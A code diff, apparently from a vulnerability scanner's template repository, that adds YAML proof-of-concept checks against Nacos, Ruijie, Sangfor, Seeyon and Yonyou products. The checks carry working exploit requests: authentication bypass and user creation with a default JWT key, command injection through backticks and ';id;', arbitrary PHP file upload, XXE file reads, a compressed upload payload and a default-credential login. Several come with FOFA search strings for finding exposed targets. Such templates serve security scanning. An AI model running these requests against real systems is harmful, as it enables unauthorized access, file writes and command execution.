+    - https://github.com/MrWQ/vulnerability-paper/blob/55e4dca8b537b93c6b90008af2f7eddd68271f2c/bugs/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E8%BF%BD%E8%BF%87%E7%9A%84%20Nacos.md
+  tags: nacos,bypass
+  created: 2023/07/14
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken=
+      headers:
+        serverIdentity: security
+    expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json')
+expression: r0()

webscan/pocs/nacos-token-create-user.yaml

@@ -0,0 +1,33 @@
+id: nacos-token-create-user
+
+info:
+  name: Nacos 默认密钥创建用户
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    Nacos 默认密钥创建用户
+  tags: nacos,rce
+  created: 2024/07/20
+
+set:
+  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
+  randuser: randomLowercase(6)
+  randpass: randomLowercase(8)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /nacos/v1/auth/users
+      headers:
+        Authorization: Bearer {{token}}
+      body: username={{randuser}}&password={{randpass}}
+    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'create user ok!')
+  r1:
+    request:
+      method: DELETE
+      path: /nacos/v1/auth/users?username={{randuser}}
+      headers:
+        Authorization: Bearer {{token}}
+    expression: true
+expression: r0() && r1()

webscan/pocs/ruijie-eweb-route-auth-rce.yaml

@@ -0,0 +1,33 @@
+id: ruijie-eweb-route-auth-rce
+
+info:
+  name: 锐捷 EWEB auth 远程代码执行漏洞
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    锐捷 EWEB 系列设备存在远程代码执行漏洞，攻击者可通过该漏洞在目标服务器上执行任意命令。
+    fofa: body="cgi-bin/luci" && body="#f47f3e"
+  tags: ruijie,rce
+  created: 2025/02/14
+
+set:
+  content: randomLowercase(10)
+  filename: randomLowercase(10)
+  md5content: md5(content)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /cgi-bin/luci/api/auth
+      headers:
+        Content-Type: application/json
+      body: |
+        {"method":"checkNet","params":{"host":"`echo {{md5content}}>{{filename}}.txt`"}}
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /cgi-bin/{{filename}}.txt
+    expression: response.status == 200 && response.body.bcontains(bytes(md5content))
+expression: r0() && r1()

webscan/pocs/ruijie-excu-shell-disclosure.yaml

@@ -18,4 +18,4 @@ rules:
         Command1: show running-config
         Confirm1: n
     expression: response.status == 200 && response.body.bcontains(b"Building configuration") && response.body.bcontains(b"Current configuration")
-expression: r0()+
+expression: r0()

webscan/pocs/ruijie-nbr-fileupload.yaml

@@ -0,0 +1,38 @@
+id: ruijie-nbr-fileupload
+
+info:
+  name: 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
+  author: peiqi
+  severity: high
+  verified: true
+  description: |
+    锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限
+    FOFA: app="Ruijie-NBR路由器"
+  reference:
+    - https://peiqi.wgpsec.org/wiki/iot/锐捷/锐捷%20NBR%20路由器%20fileupload.php%20任意文件上传漏洞.html
+  tags: ruijie,fileupload
+  created: 2023/08/10
+
+set:
+  r1: randomLowercase(6)
+  r2: md5(r1)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /ddi/server/fileupload.php?uploadDir=../../321&name={{r1}}.php
+      headers:
+        Accept: text/plain, */*; q=0.01
+        Content-Disposition: form-data; name="file"; filename="111.php"
+        Content-Type: image/jpeg
+      body: |
+        <?php echo md5("{{r1}}");unlink(__FILE__);?>
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'"jsonrpc"') 
+  r1:
+    request:
+      method: GET
+      path: /321/{{r1}}.php
+    expression: response.status == 200 && response.body.bcontains(bytes(r2))
+expression: r0() && r1()

webscan/pocs/ruijie-rg-eg-web-mis-rce.yaml

@@ -0,0 +1,24 @@
+id: ruijie-rg-eg-web-mis-rce
+
+info:
+  name: 锐捷RG-EG易网关WEB管理系统存在RCE漏洞
+  author: Y3y1ng
+  severity: critical
+  verified: true
+  description: |-
+    锐捷RG-EG易网关WEB管理系统前台RCE存在命令执行漏洞，未经身份认证的攻击者可执行任意命令控制服务器权限。
+    Fofa: body="请输入您的RG-EG易网关的用户名和密码"
+    Hunter: web.body="请输入您的RG-EG易网关的用户名和密码"
+    Zoomeye: "请输入您的RG-EG易网关的用户名和密码"
+  reference:
+    - https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
+  tags: ruijie,rce
+  created: 2023/12/10
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /update.php?jungle=id
+    expression: 'response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)'
+expression: r0()

webscan/pocs/ruijie-route-control-rce.yaml

@@ -0,0 +1,35 @@
+id: ruijie-route-control-rce
+
+info:
+  name: 锐捷EWEB路由器 control.php 远程命令执行漏洞
+  author: avic123
+  severity: critical
+  verified: true
+  description: |
+    锐捷EWEB路由器 control.php 存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。
+    Fofa: title="锐捷网络-EWEB网管系统"
+  reference:
+    - https://cn-sec.com/archives/4353567.html
+  tags: ruijie,router,rce
+  created: 2025/8/11
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /ddi/server/login.php
+      body: username=admin&password=admin?
+    expression: response.status == 200 && response.headers['set-cookie'].icontains("ruijieid")
+    output:
+      search: '"Set-Cookie: (?P<cookie>.*?);".bsubmatch(response.raw_header)'
+      cookie: search["cookie"]
+
+  r1:
+    request:
+      method: POST
+      path: /flow_control_pi/flwo.control.php?a=getFlowGroup
+      headers:
+        Cookie: "{{cookie}}"
+      body: type=;id;
+    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
+expression: r0() && r1()

webscan/pocs/sangfor-dc-sangforindex-xxe.yaml

@@ -0,0 +1,30 @@
+id: sangfor-dc-sangforindex-xxe
+
+info:
+  name: 深信服 DC数据中心管理系统 sangforindex XML实体注入
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |-
+    深信服 DC数据中心管理系统 sangforindex 接口存在XML实体注入漏洞，攻击者可以发送特定的请求包造成XML实体注入
+    FOFA: "SANGFOR 数据中心"
+  tags: sangfor,xxe
+  created: 2023/09/05
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /src/sangforindex
+      headers:
+        Content-Type: text/xml
+      body: |
+        <?xml version="1.0" encoding="utf-8" ?>
+        <!DOCTYPE root [
+            <!ENTITY rootas SYSTEM "{{oob.HTTP}}">
+        ]>
+        <xxx>
+        &rootas;
+        </xxx>
+    expression: oobCheck(oob.ProtocolHTTP, 3)
+expression: r0()

webscan/pocs/sangfor-logcent-rce.yaml

@@ -0,0 +1,25 @@
+id: sangfor-logcent-rce
+
+info:
+  name: 深信服行为感知系统/日志中心 c.php 远程命令执行
+  author: daffainfo
+  severity: critical
+  verified: true
+  description: |
+    深信服行为感知系统BA（Behavior Awareness System），是深信服上网行为管理的又一大颠覆式创新，它基于上网行为管理的海量上网日志，对用户行为特征进行深度建模分析，不断推出不同场景的行为感知应用，持续挖掘数据价值，帮助组织洞悉行为风险，简化运维管理。深信服行为感知系统/日志中心系统存在远程命令执行漏洞，攻击者通过漏洞可以上传木马文件，导致服务器失陷。
+    fofa: body="isHighPerformance : !!SFIsHighPerformance,"
+  reference:
+    - https://mp.weixin.qq.com/s/t5DF-O5uW1Fgnc9kkAlPiQ
+  tags: sangfor,logcent,rce
+  created: 2023/05/26
+
+set:
+  randstr: randomLowercase(10)
+  md5: md5(randstr)
+rules:
+  r0:
+    request:
+      method: GET
+      path: /tool/log/c.php?strip_slashes=md5&host={{randstr}}
+    expression: response.status == 200 && response.body.bcontains(bytes(md5))
+expression: r0()

webscan/pocs/sangfor-login-rce.yaml

@@ -0,0 +1,26 @@
+id: sangfor-login-rce
+
+info:
+  name: 深信服 应用交付管理系统 login 远程命令执行漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    深信服 应用交付管理系统 login 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令
+    FOFA: fid="iaytNA57019/kADk8Nev7g=="
+  reference:
+    - https://peiqi.wgpsec.org/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20login%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
+  tags: sangfor,rce
+  created: 2023/08/09
+
+set:
+  r1: randomLowercase(30)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /rep/login
+      body: |
+        clsMode=cls_mode_login%0Aecho+{{r1}}%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123
+    expression: response.status == 200 && response.body.bcontains(bytes(r1)) && response.body.bcontains(b'cluster_mode_other')
+expression: r0()

webscan/pocs/seeyon-ajax-do-fileupload.yaml

@@ -0,0 +1,39 @@
+id: seeyon-ajax-do-fileupload
+
+info:
+  name: Seeyon ajax.do 任意文件上传
+  author: zan8in
+  severity: critical
+  verified: true
+  description: |
+    Seeyon ajax.do 任意文件上传漏洞
+  reference:
+    - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA
+    - https://buaq.net/go-53721.html
+  tags: seeyon,ajax,fileupload
+  created: 2023/05/26
+  requires: [seeyon]
+  requires-mode: opportunistic
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /seeyon/thirdpartyController.do.css/..;/ajax.do
+    expression: response.status == 200 && response.body.bcontains(b'java.lang.NullPointerException:null')
+  r1:
+    request:
+      method: POST
+      path: /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip
+      body: |
+        managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00
+    expression: |
+      response.status == 500 && 
+      response.body.bcontains(b'"details":null') && 
+      response.body.bcontains(b'"message":null')
+  r2:
+    request:
+      method: GET
+      path: /seeyon/SeeyonUpdate1.jspx
+    expression: true
+expression: r0() && r1() && r2()

webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml

@@ -0,0 +1,26 @@
+id: seeyon-getajaxdataservlet-xxe
+
+info:
+  name: 致远OA getAjaxDataServlet XXE
+  author: Wen
+  severity: critical
+  verified: true
+  description: |
+    fofa: app="致远互联-OA"
+  tags: seeyon,oa,xxe
+  created: 2024/01/12
+  requires: [seeyon]
+  requires-mode: opportunistic
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /seeyon/m-signature/RunSignature/run/getAjaxDataServlet
+      body: |
+        S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
+    expression: |
+      (response.status == 200 || response.status == 206) &&
+      response.body.ibcontains(b"[fonts]") &&
+      response.body.ibcontains(b"[extensions]")
+expression: r0()

webscan/pocs/tongda-down-php-unauthorized-access.yaml

@@ -20,4 +20,4 @@ rules:
     expression: |
       response.status == 200 && 
       response.raw_header.bcontains(b'org.zip')
-expression: r0()+
+expression: r0()

webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml

@@ -18,4 +18,4 @@ rules:
       response.body.bcontains(b'result:') &&
       response.body.bcontains(b'data:') &&
       response.body.bcontains(b'"userList":')
-expression: r0()+
+expression: r0()

webscan/pocs/yonyou-maportal-unauth.yaml

@@ -16,4 +16,4 @@ rules:
       method: GET
       path: /maportal/
     expression: response.status == 200 && response.body.bcontains(b"欢迎你") && response.body.bcontains(b"管理员")
-expression: r0()+
+expression: r0()

webscan/pocs/yonyou-nc-download-fileread.yaml

@@ -23,4 +23,4 @@ rules:
       response.status == 200 &&
       response.body.bcontains(b"response.addHeader") &&
       response.body.bcontains(b"request.getSession")
-expression: r0()+
+expression: r0()

webscan/pocs/yonyou-nc-word-docx-fileread.yaml

@@ -24,4 +24,4 @@ rules:
       response.body.bcontains(b"<?xml") &&
       response.body.bcontains(b"encoding") &&
       response.body.bcontains(b"NC Portal")
-expression: r0()+
+expression: r0()

webscan/pocs/yonyou-u8-crm-getemaildata-fileread.yaml

@@ -19,4 +19,4 @@ rules:
       method: GET
       path: /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini
     expression: response.status == 200 && response.body.bcontains(b"bit app support") 
-expression: r0()+
+expression: r0()